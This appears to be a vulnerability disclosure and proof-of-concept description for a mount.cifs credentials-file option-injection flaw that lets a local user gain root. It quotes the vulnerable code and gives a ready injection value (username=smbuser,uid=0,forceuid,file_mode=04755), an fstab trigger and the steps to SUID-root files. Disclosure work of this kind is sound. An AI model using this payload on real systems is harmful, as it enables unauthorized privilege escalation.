
Proof-of-concept for CVE-2026-104715: cifs-utils credentials-file option injection in mount.cifs that lets a local user inject kernel mount options and gain root.
open_cred_file() in mount.cifs copies the username= value from a credentials file
into the kernel-bound mount option string with no comma tokenization. The value lands
after mount.cifs's per-token sanitizer has already run, so injected options like
uid=0,forceuid,file_mode=04755 pass straight through to the kernel. Kernel CIFS
parser is last-write-wins on duplicate keys.
An unprivileged user who controls the credentials file gets arbitrary kernel mount options. That's enough for a root shell.
Works under SELinux enforcing with zero AVC denials.
AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N = 8.4 High
mount.cifs.c, the CRED_USER case in open_cred_file:
case CRED_USER:
strlcpy(parsed_info->username, temp_val,
sizeof(parsed_info->username));
temp_val is the raw value after username= in the cred file. No validation, no
comma splitting. Later at line 1942:
strlcat(parsed_info->options, "user=", ...);
strlcat(parsed_info->options, parsed_info->username, ...);
This runs after the sanitizer already emitted uid=N,gid=N. So a cred file with
username=smbuser,uid=0,forceuid,file_mode=04755 produces:
...,uid=1000,gid=1000,user=smbuser,uid=0,forceuid,file_mode=04755,...
Kernel walks left to right, last write wins. uid=0 overwrites uid=1000.
The common real-world trigger is an fstab entry like:
//server/share /mnt/data cifs credentials=/home/user/.smbcredentials 0 0
User owns that cred file. Change the username= line, wait for the next privileged
mount. Also works via autofs, systemd .mount units, admin scripts, or anything else
that calls mount.cifs as root with credentials= pointing to a file you can write.
The PoC demonstrates full root shell: inject uid=0,forceuid,file_mode=04755, place
a binary on the share, every file on the mount becomes SUID root.